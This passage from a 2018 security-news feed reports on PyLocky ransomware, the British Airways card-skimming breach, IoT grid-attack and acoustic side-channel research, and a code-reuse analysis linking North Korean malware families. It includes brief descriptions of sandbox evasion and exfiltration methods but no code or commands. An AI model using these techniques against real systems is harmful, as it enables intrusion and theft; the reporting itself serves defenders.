    Once infected a system, PyLocky ransomware attempts to encrypt image, video, document, sound, program, game, database, and archive files, among others.

    PyLocky is configured to encrypt a hardcoded list of file extensions, as shown in Figure 4. PyLocky also abuses Windows Management Instrumentation (WMI) to check the properties of the affected system. ” continues the report.

    To avoid analysis tools, such as sandboxes, the maòicious code sleeps for 999,999 seconds, roughly around 11.5 days, if the total visible memory of the infected system is less than 4GB.

    The encryption routines are implemented using the PyCrypto library and leverage the 3DES (Triple DES) cipher. PyLocky enumerated logical drives of the hot and generates a list of files that it uses to overwrites each file in the list with an encrypted version.

    At the end of the process, the ransomware drops a ransom note that could be in English, French, Korean, or Italian, a circumstance that suggests possible targets of the operators behind the threat.

    PyLocky also sends to the command and control (C&C) server information about the infected system.

    PyLocky’s evasion techniques and abuse of legitimate tools typically reserved to administrators further exemplify the significance of defence in depth. For instance, machine learning is a valuable cybersecurity tool in detecting unique malware, but it is not a silver bullet. With today’s threats, there are different vectors at the attackers’ disposal, which makes a multi-layered approach to security important,” Trend Micro concludes.

    Pierluigi Paganini

    (Security Affairs – pylocky ransomware, malware)

    The post New PyLocky Ransomware stands out for anti-machine learning capability appeared first on Security Affairs.

    Pakistani hacker reports address bar spoofing flaws in Edge & Safari browser

    By Waqas

    Rafay Baloch has reported Vulnerability in Edge and Safari Browsers that Allows Address Bar Exploitation. Nowadays the phishing attacks have become increasingly sophisticated and difficult to detect so it is indeed appreciable that security researchers are managing to spot such campaigns in their initial phases. Reportedly, a security researcher from Pakistan Rafay Baloch has discovered […]

    This is a post from HackRead.com Read the original post: Pakistani hacker reports address bar spoofing flaws in Edge & Safari browser

    Air-conditioned apocalypse: A blackout scenario involving smart climate control devices

    By David Balaban

    Science fiction movies often depict various situations related to cybercriminals’ activity. These can include predicaments where threat actors disrupt the transportation system of a large city or cause power outages in entire regions. In fact, this is beyond science fiction these days – impacting the power grid isn’t that difficult. The only viable way to […]

    This is a post from HackRead.com Read the original post: Air-conditioned apocalypse: A blackout scenario involving smart climate control devices

    British Airways Hack Update: Caused by Injected Script & PCI DSS Non-Compliance is Suspected

    On Friday (7th September 2018), British Airways disclosed between 21st August 2018 and 5th September 2018, 380,000 BA customer's payment card transactions were compromised by a third party through its website and mobile app. This data included the customer's full name, email address, debit\credit card 16 digit number (PAN), expiry date and card security code i.e. CVV, CV2

    Details of how the hack was orchestrated have now come to light. In a blog post RiskIQ researchers have claimed to have found evidence that a web-based card skimmer script was injected into the BA website, very similar to the approach used by the Magecard group, who are believed to be behind a similar attack against the Ticketmaster website recently. Web-based card skimmer script attacks have been occurring since 2015.

    In this case, once the customer has entered their payment card details and then submits the payment either on a PC or on a touchscreen device, the malicious script executes and captures their payment card data, sending it to a virtual (VPS) server hosted in Romania. The server was hosted on a domain called baways.com and was certified (https) by Comodo to make it appear legit within the website html (code). The server domain was registered 6 days before the breach started, this obviously went undetected by BA's security, perhaps the domain registration could have been picked up by a threat intelligence service.

    Other Researchers have also claimed the BA website wasn't PCI DSS compliant. Marcus Greenwood found files loaded from 7 external domains onto the BA website, and crucially said the BA payment page wasn't isolating the card payment entry within an iframe, which would prevent any third-party scripts (and XSS attacks) from being able to read the payment card form fields. The Payment Card Industry Data Security Standard (PCI DSS) is required by all organisations which accept, process, store and/or transmit debit and credit cards.

    Here is the advice from CEO of global cybersecurity specialist SonicWall, Bill Conner:

    "Organizations and government entities carry a responsibility to consumers and civilians alike to guard their most valuable information at all cost. While the British Airways breach may not have been as detrimental as I’m sure its culprits would have liked it to be, it should serve as a wake-up call to CTOs, CIOs and CISOs. The fact is, it is early days, and the true damage done is yet to be seen. Personal information that does not change as easily as a credit card or bank account number drive a high price on the Dark Web. This kind of Personally Identifiable Information is highly sought after by cybercriminals for monetary gain. Companies should be implementing security best practices such as a layered approach to protection, as well as proactively updating any out of date security devices, as a matter of course."

    My view mass credit\debit card data (cardholder data) complete with the security code has always been targeted by cyber crooks as it is very easily sellable on the dark web, as the data only can be used in cardholder-not-present transaction fraud, where credit card holder is not physically present i.e. online, app, phone. The finger can be pointed at lack of PCI DSS compliance by merchants like BA, however, I think it is about time technology was used to improve the security of all cardholder-not-not present transactions, namely Multi-factor authentication (MFA).  While MFA on all cardholder-not-present is not a silver bullet, there is no 100% security, enforced usage across all industries would certainly devalue debit\credit card data considerably.

    Researchers demonstrate how to unlock Tesla wireless key fobs in 2 seconds

    By Waqas

    Vulnerabilities and security flaws in vehicle security systems aren’t as surprising for us as it is that even the most renowned car manufacturers aren’t able to provide consumers with fool-proof systems. Wired reports that Tesla recently fixed a vulnerability in the security systems of its cars after a group of researchers in Belgium proved that the […]

    This is a post from HackRead.com Read the original post: Researchers demonstrate how to unlock Tesla wireless key fobs in 2 seconds

    Using Hacked IoT Devices to Disrupt the Power Grid

    This is really interesting research: "BlackIoT: IoT Botnet of High Wattage Devices Can Disrupt the Power Grid":

    Abstract: We demonstrate that an Internet of Things (IoT) botnet of high wattage devices -- such as air conditioners and heaters -- gives a unique ability to adversaries to launch large-scale coordinated attacks on the power grid. In particular, we reveal a new class of potential attacks on power grids called the Manipulation of demand via IoT (MadIoT) attacks that can leverage such a botnet in order to manipulate the power demand in the grid. We study five variations of the MadIoT attacks and evaluate their effectiveness via state-of-the-art simulators on real-world power grid models. These simulation results demonstrate that the MadIoT attacks can result in local power outages and in the worst cases, large-scale blackouts. Moreover, we show that these attacks can rather be used to increase the operating cost of the grid to benefit a few utilities in the electricity market. This work sheds light upon the interdependency between the vulnerability of the IoT and that of the other networks such as the power grid whose security requires attention from both the systems security and power engineering communities.

    I have been collecting examples of surprising vulnerabilities that result when we connect things to each other. This is a good example of that.

    Wired article.

    Key suspect in JPMorgan hack is now in US custody

    Closure might be coming for victims of the massive JPMorgan Chase hack in 2014. The country of Georgia has extradited the alleged (and until now mysterious) hacker at the core of the crime, Andrei Tyurin, to the US. The Russian citizen pleaded not guilty in a New York court to charges that included conspiracy, hacking, identity theft and wire fraud. He reportedly worked with mastermind Gery Shalon to steal personal data from JPMorgan and other banks for use in a pump-and-dump stock scheme that may have made hundreds of millions of dollars.

    Source: Bloomberg

    British Airways Customer Data Stolen in Website and Mobile App Hack

    In a statement, British Airways stated: "From 22:58 BST August 21 2018 until 21:45 BST September 5 2018 inclusive, the personal and financial details of customers making bookings on ba.com and the airline’s app were compromised." The airline said they will be notifying affected customers, and if anyone has been impacted to contact their bank or credit card providers.
    The Telegraph reported 380,0000 payments were compromised, and that BA customers had experienced payment card fraud as a result before the BA breach disclosure, which strongly suggests unencrypted debit\credit cards were stolen.

    There are no details about the data theft method at the moment, but given the statement said the BA website and BA mobile app was compromised, I think we could be looking at another example of an insecure API being exploited, as per the Air Canada breach and the T-Mobile breach last month.

    We'll see what comes out in the wash over the next few days and weeks, but thanks to the GDPR, at least UK firms are quickly notifying their customers when their personal and financial data has been compromised, even if there is little detail reported about how. Without knowing how the data was compromised, customers cannot be truly assured their private data is safe. It also will be interesting to learn whether the BA systems were compliant with the Payment Card Industry Data Security Standard (PCI DSS), required by all organisations that accept, process, store and/or transmit debit and credit cards.

    Update: 
    A spokesperson at BA said "hackers carried out a sophisticated, malicious criminal attack on its website" and impacted BA customers would be compensated. 

    380,000 card payment transactions were confirmed as stolen, specifically:
    • Full Name
    • Email address
    • Payment card number (PAN)
    • Expiration date
    • Card Security Code [CVV] - typically a 3 digit authorisation code written on the back of the debit\credit card
    BA insists it did not store the CVV numbers, these are not allowed to be stored after payment card authorisation under PCI DSS. This suggests the card details may have been intercepted during the payment transaction, perhaps by a maliciously injected or compromised third party website plugin, as opposed to data theft from the database, as often seen with SQL injections attacks against web apps.

    BA have published help and FAQs to anyone that is impacted by this data breach.
    https://www.britishairways.com/en-gb/information/incident/data-theft/latest-information

    British Airways is owned by IAG, their share price dropped by more than 4%, which equates to a £500m+ value loss in the company.

    Update on the Attack Method (11 Sept 2018)
    In a blog post RiskIQ researchers have claimed to have found evidence that a web-based card skimmer script was injected into the BA website, very similar to the approach used by the Magecard group, who are believed to be behind a similar attack against the Ticketmaster website recently. Web-based card skimmer script attacks have been occurring since 2015.

    In this case, once the customer entered their payment card details and submitted the payment either on a PC or on a touchscreen device, the malicious script captured their data and sent it to a virtual (VPS) server hosted in Romania. The server was hosted on a domain called baways.com and was certified (https) by Comodo to make it look legit. The server domain was registered 6 days before the breach started, this obviously went undetected by BA's security, perhaps the rogue domain registration could have been picked up by a threat intelligence service.

    Researchers have also claimed the BA website wasn't PCI DSS. They found 7 scripts running on the BA website, but crucially said the BA payment page wasn't isolating the card payments within an iframe, which would prevent third-party scripts (and XSS attacks) from being able to read the payment card form fields.

    Bill Conner, CEO SonicWall said "Organizations and government entities carry a responsibility to consumers and civilians alike to guard their most valuable information at all cost. While the British Airways breach may not have been as detrimental as I’m sure its culprits would have liked it to be, it should serve as a wake-up call to CTOs, CIOs and CISOs. The fact is, it is early days, and the true damage done is yet to be seen. Personal information that does not change as easily as a credit card or bank account number drive a high price on the Dark Web. This kind of Personally Identifiable Information is highly sought after by cybercriminals for monetary gain. Companies should be implementing security best practices such as a layered approach to protection, as well as proactively updating any out of date security devices, as a matter of course."

    Using a Smartphone’s Microphone and Speakers to Eavesdrop on Passwords

    It's amazing that this is even possible: "SonarSnoop: Active Acoustic Side-Channel Attacks":

    Abstract: We report the first active acoustic side-channel attack. Speakers are used to emit human inaudible acoustic signals and the echo is recorded via microphones, turning the acoustic system of a smart phone into a sonar system. The echo signal can be used to profile user interaction with the device. For example, a victim's finger movements can be inferred to steal Android phone unlock patterns. In our empirical study, the number of candidate unlock patterns that an attacker must try to authenticate herself to a Samsung S4 Android phone can be reduced by up to 70% using this novel acoustic side-channel. Our approach can be easily applied to other application scenarios and device types. Overall, our work highlights a new family of security threats.

    News article.

    Zelle | A direct funds transfer disruptor…What Are You Trading For Convenience?

    With convenience on the mind of most consumers, peer to peer payment apps are making it easy to transfer money to friends, family, or acquaintances. The money-transfer market is dominated by Venmo and Paypal, however, Zelle is quickly catching up, offering an alternative that is backed by U.S. financial institutions. Zelle is known for its pervasive nature, as a natural extension to a consumer’s existing mobile banking app and the speed it is able to offer funds transfers from account to account directly. This differentiates from Venmo, Square (and even Paypal) that have elements of a “mobile wallet,” which can be seen as more of an ‘escrow account’ before your money clears the transfer. Zelle is quickly disrupting the money-transfer space.

    The almost frictionless enrollment and speed that Zelle supports financial transfers has exposed some potential misuse patterns. As the New York Times found, the perks embedded into Zelle are not only attracting customers, but criminals as well. Fraudsters are taking advantage of the system to drain the bank accounts of unsuspecting Zelle users – or nonusers. Some victims of Zelle fraud had never used, or heard of, the money-transfer application prior to the discovery of an empty bank account. Depending on your bank, you may or may not be notified when a transfer is made through Zelle. Additionally, if you experience Zelle fraud, your bank may not be obligated to reimburse the transaction. So, what makes Zelle so susceptible to fraud?

    In efforts to catch up with Venmo and Paypal, many banks moved quickly in implementing Zelle. Normal security processes may have been reduced in an effort to provide a more frictionless experience, with some banks implementing Zelle with reduced protections, like no two-factor authentication or behavior monitoring, to send a payment. Additionally, within the Zelle network, checking accounts are linked directly to other checking accounts – allowing the transfer to be completed in seconds, making it nearly impossible to reverse fraudulent transactions and receive recourse from your financial institutions.

    Venmo and Square both rely on unique usernames to initiate transfers, whereas Zelle operates under either a user’s phone number or email address. If a single phone number is tied to two (or more) accounts, transfers can easily be sent to the wrong person. If this were to happen, and the transfer was initiated and unknowingly sent to the wrong person, the bank may not have to refund the claim, because the bank may not be obligated to intervene.

    Peer to peer payment apps can provide a fast and convenient way to send money, but that convenience may come with a price. The vulnerabilities present in sending money this way is akin to sending cash in the mail. The convenience is alluring but the risk may be higher. App users should use caution when sending money to any unknown parties, and try to set up alerts to be notified of any transfers. Financial institutions should be on high alert for password reset requests coming through the call center, as this could be an early indicators of fraudsters attempting account takeover of your Zelle app to send themselves your money.

    It is clear that users see enormous value from the convenience provided by Zelle’s frictionless and near instantaneous support of direct funds transfers. Let’s make sure that the value and convenience that this service offers are not also being offered to those with mal intent to misuse this service.

    The post Zelle | A direct funds transfer disruptor…What Are You Trading For Convenience? appeared first on Pindrop.

    Apple hacked by 16-year-old who “dreamed” of working for firm

    An Australian teenager has admitted hacking into Apple’s internal network and stealing 90 GB worth of files.

    The 16-year-old, who cannot be named for legal reasons, has pleaded guilty to breaking into Apple’s systems on multiple occasions over the course of a year, from his parent’s home in Melbourne’s suburbs.

    According to a report in The Age, the young hacker claimed to be a “fan” of the company, who “dreamed” of working for Apple one day.

    The teen is thought to have attempted to hide his identity using a variety of tools, such as VPN software. But after Apple eventually spotted the unauthorised access of their internal systems they informed the FBI, who in turn worked with the Australian Federal Police to track down the intruder.

    A search of the teenager’s home last year saw law enforcement officers seize two Apple laptops with serial numbers that “matched the serial numbers of devices which accessed the internal systems”, according to a prosecutor.

    In addition, a mobile phone and hard drive was also seized.

    According to the report, the boy is thought to have successfully accessed authorised login keys, and stored files in a folder labelled “hacky hack hack”.

    In what is perhaps an indication of his immaturity, the teenage hacker is alleged to have bragged about his actions to others via WhatsApp.

    An official statement from Apple, provided to the BBC, attempts to reassure Apple customers that their personal data was not at risk:

    “We vigilantly protect our networks and have dedicated teams of information security professionals that work to detect and respond to threats.

    “In this case, our teams discovered the unauthorised access, contained it, and reported the incident to law enforcement.

    “We regard the data security of our users as one of our greatest responsibilities and want to assure our customers that at no point during this incident was their personal data compromised.”

    Apple is understandably very sensitive to headlines that its systems may have been hacked, and there will no doubt be even greater embarrassment that it may have been successfully compromised for over a year by a boy aged just sixteen.

    The boy is due to be sentenced on 20 September, and might serve as a warning to others: if you want to work for a company, it’s generally not a good idea to hack into it first.

    Examining Code Reuse Reveals Undiscovered Links Among North Korea’s Malware Families

    This research is a joint effort by Jay Rosenberg, senior security researcher at Intezer, and Christiaan Beek, lead scientist and senior principal engineer at McAfee. Intezer has also posted this story. 

    Attacks from the online groups Lazarus, Silent Chollima, Group 123, Hidden Cobra, DarkSeoul, Blockbuster, Operation Troy, and 10 Days of Rain are believed to have come from North Korea. But how can we know with certainty? And what connection does a DDoS and disk-wiping attack from July 4, 2009, have with WannaCry, one of the largest cyberattacks in the history of the cyber sphere?  

    From the Mydoom variant Brambul to the more recent Fallchill, WannaCry, and the targeting of cryptocurrency exchanges, we see a distinct timeline of attacks beginning from the moment North Korea entered the world stage as a significant threat actor.

    Bad actors have a tendency to unwittingly leave fingerprints on their attacks, allowing researchers to connect the dots between them. North Korean actors have left many of these clues in their wake and throughout the evolution of their malware arsenal.

    This post reflects months of research; in it we will highlight our code analysis illustrating key similarities between samples attributed to the Democratic People’s Republic of Korea, a shared networking infrastructure, and other revealing data hidden within the binaries. Together these puzzle pieces show the connections between the many attacks attributed to North Korea and categorize different tools used by specific teams of their cyber army.

    Valuable context 

    This article is too short to dig deeply into the history, politics, and economic changes of recent years. Nonetheless, we must highlight some events to put past and present cyber events into perspective.

    The DPRK, like any country, wants to be as self-sufficient and independent as possible. However, for products such as oil, food, and foreign currency for trading, the country lacks resources and has to find ways of acquiring them. What can a nation do when legal international economics are denied? To survive, it must gain foreign currency for trading. One of the oldest ways to do this is to join the worlds of gambling (casinos) and drugs. In 2005, the United States wanted to shut down North Korean enterprises involved in illegal operations. They investigated a couple of banks in Asia that seemed to have ties with North Korea and operated as money laundering sites. One bank in particular is controlled by a billionaire gambling mogul who started a casino in Pyongyang and has close ties to Pyongyang. That bank, based in Macau, came back into the picture during an attack on the SWIFT financial system of a bank in Vietnam in 2015. The Macau bank was listed twice in the malware’s code as a recipient of stolen funds:

    Figure 1: SWIFT code in malware.

    Code reuse

    There are many reasons to reuse malware code, which is very common in the world of cybercrime. If we take an average ransomware campaign, for example, once the campaign becomes less successful, actors often change some of basics such as using a different packer to bypass defenses. With targeted campaigns, an adversary must keep its tools undetected for as long as possible. By identifying reused code, we gain valuable insights about the “ancestral relations” to known threat actors or other campaigns. Our research was heavily focused on this type of analysis.

    In our years of investigating cyber threats, we have seen the DPRK conduct multiple cyber campaigns. In North Korea, hackers’ skills determine which cyber units they work for. We are aware two major focuses of DPRK campaigns: one to raise money, and one to pursue nationalist aims. The first workforce gathers money for the nation, even if that means committing cybercrime to hack into financial institutions, hijack gambling sessions, or sell pirated and cracked software. Unit 180 is responsible for illegally gaining foreign currency using hacking techniques. The second workforce operates larger campaigns motivated by nationalism, gathering intelligence from other nations, and in some cases disrupting rival states and military targets. Most of these actions are executed by Unit 121.

    We focused in our research on the larger-scale nationalism-motivated campaigns, in which we discovered many overlaps in code reuse. We are highly confident that nation-state–sponsored groups were active in these efforts.

    Timeline 

    We created a timeline of most of the malware samples and noticeable campaigns that we examined. We used primarily open-source blogs and papers to build this timeline and used the malware artifacts as a starting point of our research.

     

    Figure 2: Timeline of malware and campaigns.

    Analysis and observations

    Similarities

    During our research, we found many malware family names that are believed to be associated with North Korea’s cyber operations. To better understand this threat actor and the similarities between the campaigns, we have used Intezer’s code similarity detection engine to plot the links between a vast number of these malware families.

    The following graph presents a high-level overview of these relations. Each node represents a malware family or a hacking tool (“Brambul,” “Fallchill,” etc.) and each line presents a code similarity between two families. A thicker line correlates to a stronger similarity. In defining similarities, we take into account only unique code connections, and disregard common code or libraries. This definition holds both for this graph and our entire research.

     

    Figure 3: Code similarities between North Korean–associated malware families.

    We can easily see a significant amount of code similarities between almost every one of the attacks associated with North Korea. Our research included thousands of samples, mostly unclassified or uncategorized. This graph was plotted using a data set of only several hundred samples, so there might be more connections than displayed here. 

    Deep technical analysis 

    During our research, we came across many code similarities between North Korean binaries that had not been seen before. Some of these attacks and malware have not been linked to one another, at least publicly. We will showcase four examples of reused code that has been seen only in malware attributed to North Korea.

    1. Common SMB module

    The first code example appeared in the server message block (SMB) module of WannaCry in 2017, Mydoom in 2009, Joanap, and DeltaAlfa. Further shared code across these families is an AES library from CodeProject. These attacks have been attributed to Lazarus; that means the group has reused code from at least 2009 to 2017.

    Figure 4: Code overlap of a Mydoom sample.

    In the next screenshots we highlight the exact code block that reflects the SMB module we found in campaigns other than WannaCry and Mydoom.

    Figure 5: An SMB module common to several attacks.

    A lot has been written about WannaCry. As we analyze the code against our databases, we can draw the following overview:

    Figure 6: WannaCry code comparison overview.

    For our research we compared the three major variants of WannaCry. An early release, called a beta, from February 2017, one from April, and the infamous one that hit the world in May.

    1. Common file mapping

    The second example demonstrates code responsible for mapping a file and using the XOR key 0xDEADBEEF on the first four bytes of the file. This code has appeared in the malware families NavRAT and Gold Dragon, plus a certain DLL from the South Korean gambling hacking campaign. These three RATs are thought to be affiliated with North Korea’s Group 123. NavRAT and the gambling DLL share more code, making them closer variants.

    Figure 7: Code overlap in a NavRAT sample.

    Figure 8: File-mapping code 

    1. Unique net share

    The third example, responsible for launching a cmd.exe with a net share, has been seen in 2009’s Brambul, also known as SierraBravo, as well as KorDllBot in 2011. These malware families are also attributed to the Lazarus group.

    Figure 9: Code overlap of a SierraBravo (Brambul) sample.

    Figure 10: A code block reused in the malware families Brambul/SierraBravo and KorDllBot.

    1. Operation Dark Hotel

    In 2014, Kaspersky reported a more than seven-year campaign against Asian hotels, in which the adversaries used an arsenal of tools to break into the computers of hotel visitors. Zero days and control servers were used, along with the malware family Tapaoux, or DarkHotel, according to the report.

    While we examined the DPRK samples, we noticed a hit with the Dark Hotel samples in our collections. By going through the code, we noticed several pieces of code overlap and reuse, for example, with samples from Operation Troy.

    Figure 11: Code overlap in a Dark Hotel sample.

    Identifying a group

    By applying what we learned from our comparisons and code-block identifications, we uncovered possible new links between malware families and the groups using them.

    With the different pieces of malware we have analyzed, we can illustrate the code reuse and sharing between the groups known to be affiliated with North Korea.

     

    Figure 12: Groups and families linked by code reuse.

    The malware attributed to the group Lazarus has code connections that link many of the malware families spotted over the years. Lazarus is a collective name for many DPRK cyber operations, and we clearly see links between malware families used in different campaigns.

    The malware (NavRAT, gambling, and Gold Dragon) possibly created by Group 123 are connected to each other but are separate from those used by Lazarus. Although these are different units focusing on different areas, there seems to be a parallel structure in which they collaborate during certain campaigns.

    MITRE ATT&CK

    From our research of these malware samples, we can identify the following techniques used by the malware families:

    When we zoom in on the Discovery category in the MITRE model, for example, we notice that the techniques are typical for first-stage dropper malware. The adversary drops these samples on victims’ machines and collects information on where they landed in the victims’ networks and which user/access rights they gained.

    In 2018, we saw examples of campaigns in which attackers used PowerShell to download and execute these droppers. Once information has been sent to a control server, the adversary determines the next steps, which often include installing a remote access tool to enable lateral movement on the network and pursue the goals of the campaign.

    Final words

    Security vendors and researchers often use different names when speaking about the same malware, group, or attack. This habit makes it challenging to group all the malware and campaigns. By taking a scientific approach, such as looking for code reuse, we can categorize our findings. We believe our research will help the security community organize the current “mess” we face in relation to North Korean malware and campaigns.

    We clearly saw a lot of code reuse over the many years of cyber campaigns we examined. This indicates the North Koreans have groups with different skills and tools that execute their focused parts of cyber operations while also working in parallel when large campaigns require a mix of skills and tools.

    We found our months of research, data gathering, and analysis very satisfying. By combining our skills, data, and technology, we were able to draw connections and reveal links that we had not seen before. The cybersecurity industry would greatly benefit from more collaboration and sharing of information, and we hope that this effort between McAfee and Intezer will inspire the community to work together more often.

    The authors thank Costin Raiu for providing them with samples they did not have in their collections.

    Sources

    Glenn Simpson, Gordon Fairclough, and Jay Solomon, “U.S. Probes Banks’ North Korea Ties.” Wall Street Journal, last updated September 8, 2005.

    Christiaan Beek, “Attacks on SWIFT Banking system benefit from insider knowledge.” https://securingtomorrow.mcafee.com/mcafee-labs/attacks-swift-banking-system-benefit-insider-knowledge/

    Atif Mushtaq, “DDOS Madness Continued…” https://www.fireeye.com/blog/threat-research/2009/07/ddos-madness-climax.html

    Ryan Sherstobitoff and Jessica Saavedra-Morales, “Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims’ Systems.” https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/ 

    Alex Drozhzhin, “Darkhotel: a spy campaign in luxury Asian hotels.” https://www.kaspersky.com/blog/darkhotel-apt/6613/ 

    Warren Mercer, Paul Rascagneres, and Jungsoo An, “NavRAT Uses US-North Korea Summit As Decoy For Attacks In South Korea.” https://blog.talosintelligence.com/2018/05/navrat.html 

    Sergei Shevchenko and Adrian Nish, “Cyber Heist Attribution.https://baesystemsai.blogspot.com/2016/05/cyber-heist-attribution.html

    Mydoom code reuse report. https://analyze.intezer.com/#/analyses/113ba80f-1680-43d7-b287-cc62f3740fad

    NavRAT code reuse report. https://analyze.intezer.com/#/analyses/4f19fd5a-a898-4fdf-96c9-d3a4aad817cb

    SierraBravo code reuse report. https://analyze.intezer.com/#/analyses/8da8104e-56e4-49fd-ba24-82978bc1610c

    Dark Hotel code reuse report. https://analyze.intezer.com/#/analyses/c034e0fe-7825-4f6d-b092-7c5ee693aff4

    Kang Jang-ho, “A foreign currency earned with a virtual currency … What is the life of a North Korean hacker?” http://m.mtn.co.kr/news/news_view.php?mmn_idx=2018062517065863930#_enliple

    Awesome work by the team responsible for the “Operation Blockbuster” report. https://www.operationblockbuster.com/resources/

    The post Examining Code Reuse Reveals Undiscovered Links Among North Korea’s Malware Families appeared first on McAfee Blogs.

    Six Things your Enterprise Needs to Learn from the DNC Hacking Indictment

    All politics aside, the United States Department of Justice on Friday unsealed a judicial indictment against a number of individuals alleged to be from Russia’s intelligence services engaged in activities in 2016.

    Stepping outside of the context of this party or that party, and politics as a whole – McAfee’s CTO, Steve Grobman noted, “Attribution is amongst the most complex aspects of cyberwar and the US government is in a unique position to make this attribution assessment.  Technical forensics combined with information from trusted intelligence or law enforcement agencies are needed to provide confidence behind identifying actors in an attack or campaign.  These indictments clearly show the US has reason to believe Russia interfered with the election process. “

    The level of technical detail also offers practical insight for aspects of organizations’ readiness to react to the threat environment.

    1) Nation State Activity is Real

    At McAfee, we operate our own Advanced Threat Research.  We employ many professionals whose entire job it is to find ways to break things, to learn how others have already broken things, and to make decisions on the level of risk it represents to our customers and future customers.  Our hope is that our activity is both non-disruptive, ethically conducted, and consistent with our corporate values and our commitments to our customers.  In today’s threat environment, countries throughout the globe are investing in the cyber capabilities to practice intelligence, deception, counter intelligence, and in the past few years, we have documented the crossover from the cyber capability into kinetic effects.

    While matters of one service’s actions versus another’s being perceived as “good” or “bad”, a matter of “criminal conspiracy” or “policy” involves many factors and points of view, as a profession it is critical that we recognize this rapidly growing reality for the fact that it is.

    This judicial action is another breadcrumb reminding us as enterprise leaders that sophisticated adversaries need resources to act, especially those enterprises involved in services to organizations of public importance.  Organizations should evaluate their customer base, and the services that they provide for relative risks.  Risk has upside opportunity (“Revenue”) but should also prompt questions internally as to whether an organization or subset requires advanced security controls, or more proactive threat detection and resistance measures.

    2) Geo-Location is Practically Irrelevant

    For many professionals engaged in the early days of information security, we could leverage aspects of connection metadata to make snap judgements about the trustworthiness of requests.  The days of first-jump relays to command and control servers going to a given country’s public IP space or a two- letter country-associated domain are mostly over.

    Instead, the organization needs to transition, looking more directly at the behavior of not just users, but of systems, and the access of resources.  At McAfee, we have evolved our own offerings in this space to establish McAfee Behavioral Analytics to discern elevated risks that break established patterns and to put advanced tools like McAfee Investigator in the hands of threat hunters.

    Whether using our products or not, today’s enterprise needs to rely on security behaviors that do not look for traditional geographic or demographic identifiers as a means of making a strong determination of trust for access and/or threat identification.

    When it comes to identify mis-use, where multi-factor authentication is possible, it should be implemented, with a decreased emphasis on means which are easily open to interception by opponents (like SMS based message codes).  Yubikey, TOTP based generators, and interactive application confirmation by providers like Duo Security are all effective measures to make it more difficult to apply credentials intercepted or cajoled from end users by other means.

    3) URL Shorteners can be a Risk Indicator

    While for many organizations – especially in the realm of social media analytics – the use of URL shorteners has enabled short-format messaging with business intelligence potential, they are often a means to obscure potentially malicious targets.  The indictment released by the United States Department of Justice highlights the continuing threat that the combination of URL Shortening and the user-focused technique of Spear Phishing continue to present as a means to attack the enterprise.

    Aside from education campaigns to help users distinguish legitimate links and to help them become more sensitive to the risk, the organization can also consider web access methods for greater control and recognition of potential threats.

    Systems like User Entity Behavioral Analytics (UEBA) can identify outlier websites not otherwise accessed at the organization and the presence or use of unknown URL shorteners can itself be a risk indicator.  The security operations team may want to look at the identification/risk management of certain URL shorteners over time to aid in determining which become commonly seen in the wild in the organization’s recent incidents, and thus could or should be managed in email and web access hygiene.

    4) Vulnerability Management is a Key Risk Mitigation

    I’ve never known a security professional who skips into the office with their coffee and announces, “I love patching servers.”  Never.  As experienced security leaders, we know how hard it can be to manage the impact to production systems, to identify system owners, to work together to maintain a cadence of patching.  Sometimes, even just the heterogeneous nature of the modern operating environment can be its own challenge!

    The alleged activity of the identified conspirators reminds us how critical the public attack surface remains in protecting the enterprise as a whole.  Try as we might, each of our public infrastructure will maintain a footprint.  We “leak” details of our enterprise systems as a necessary byproduct of creating the ability for those systems to technically operate.  DNS Records.  Public IP block ownership.  Routing advertisements.  Job listings.  Employee CVs.  Employee social media profiles.

    Vulnerability management requires an organization to think about more than patching.  Your organization’s threat surface has to be considered in a broader sense to manage holistic threat consideration and remediation.  The organization can also use public models as a means to check the organization’s readiness to defend against new vulnerabilities ahead of patching or other long-term remediation.

    5) Response Threat Hunting is Hard – Trust Nothing

    Despite the best efforts of technical security teams, sometimes intelligence and cues are missed.  The reality is that sophisticated adversaries have sophisticated skills and multiple means to stay engaged.  They also have reason and/or desire to hide from security teams.  As security professionals, we have to put personal ego and hubris aside.  Threat hunting in an incident is a time for humble approaches that recognize the adversaries are at or above our own skill level (and hope that is not the case).

    In such a case, we go back to a few core fundamentals: we trust nothing.  We require validation for everything.  Each piece of intelligence goes into the picture, and through our tools to identify additional leads to pursue, and is evaluated for potential remediate actions made possible.  While we have talked at length prior about the cyber kill chain, a fundamental truth illustrated in today’s Department of Justice action is that where advanced activity occurs, the entire environment needs to be suspected and become zero trust.

    Can you force each network flow to be validated for a time?  Can someone form the organization vouch for a piece of software or a specific node on the network?  Do your pre-work ahead of time to create the space so that when company brand is on the line, you can use maintenance windows, incident response policies, and similar corporate buffers to buy the “right” to shut down a segment, temporarily block a network flow and see what happens, etc.

    6) Your organizational data is in the cloud. Your Incident Response needs to be, too.

    The cloud was a key opportunity for the organizations compromised in these activities to continue to lose information.  Indications are that when the identity and initial incident was addressed “on premise”, the cloud systems were not connected to those changes.

    Your organization has leveraged the advanced capability and time to market of the cloud.  Our recent survey of organizations worldwide indicates that the typical enterprise class organization has dozens of distinct providers hosting corporate data.  Just as your sensitive information may be stored in those providers, yet is part of your brand value and your delivery strategy, your response plans need to integrate intelligence from those providers – and to those providers – for investigation and mitigation.

    Building unified visibility across cloud providers requires a deliberate approach and investment from the organizations.  Incident response procedures should include looking at cloud sources for activity from potential Indicators of Compromise, as well as an incident step of considering what actions are needed to manage the risk in cloud providers.

    Your cloud is part of your holistic data and threat stance, it also needs to be part of your remediation and resilience plan.

    Nation State Actors Remind us of the Fundamentals

    The indictment released by the United States Department of Justice describes a multi-faceted effort that involved target research, user-focused phishing, exploiting vulnerable software, malware, and making use of the disconnect between on-premise and cloud management.

    For literally years, McAfee has focused on a platform approach to security in our products.  We offer software with advancements like OpenDXL and an actively managed ecosystem of Security Innovation Alliance offerings.  We make these investments for the simple reason that in order to protect and adapt to continuing threats, your organization needs rapidly available, actionable intelligence.  Your organization’s approach to information security should return periodically to verify fundamental information sharing and basic controls, even as advanced capabilities are implemented.

     

    The post Six Things your Enterprise Needs to Learn from the DNC Hacking Indictment appeared first on McAfee Blogs.

    Ep. 107 – All Your Bias Are Belong to Us with Paolo Gaudiano

    Biases – we all have them.  Are they useful? What do they tell us about ourselves or corp culture? And most importantly, how can a social engineer use them. Join us with Paolo Gaudiano in this excellent podcast. July 09, 2018

    Contents

    Download

    Ep. 107 – All Your Bias Are Belong to Us with Paolo Gaudiano

    Miro Video Player

    Get Involved

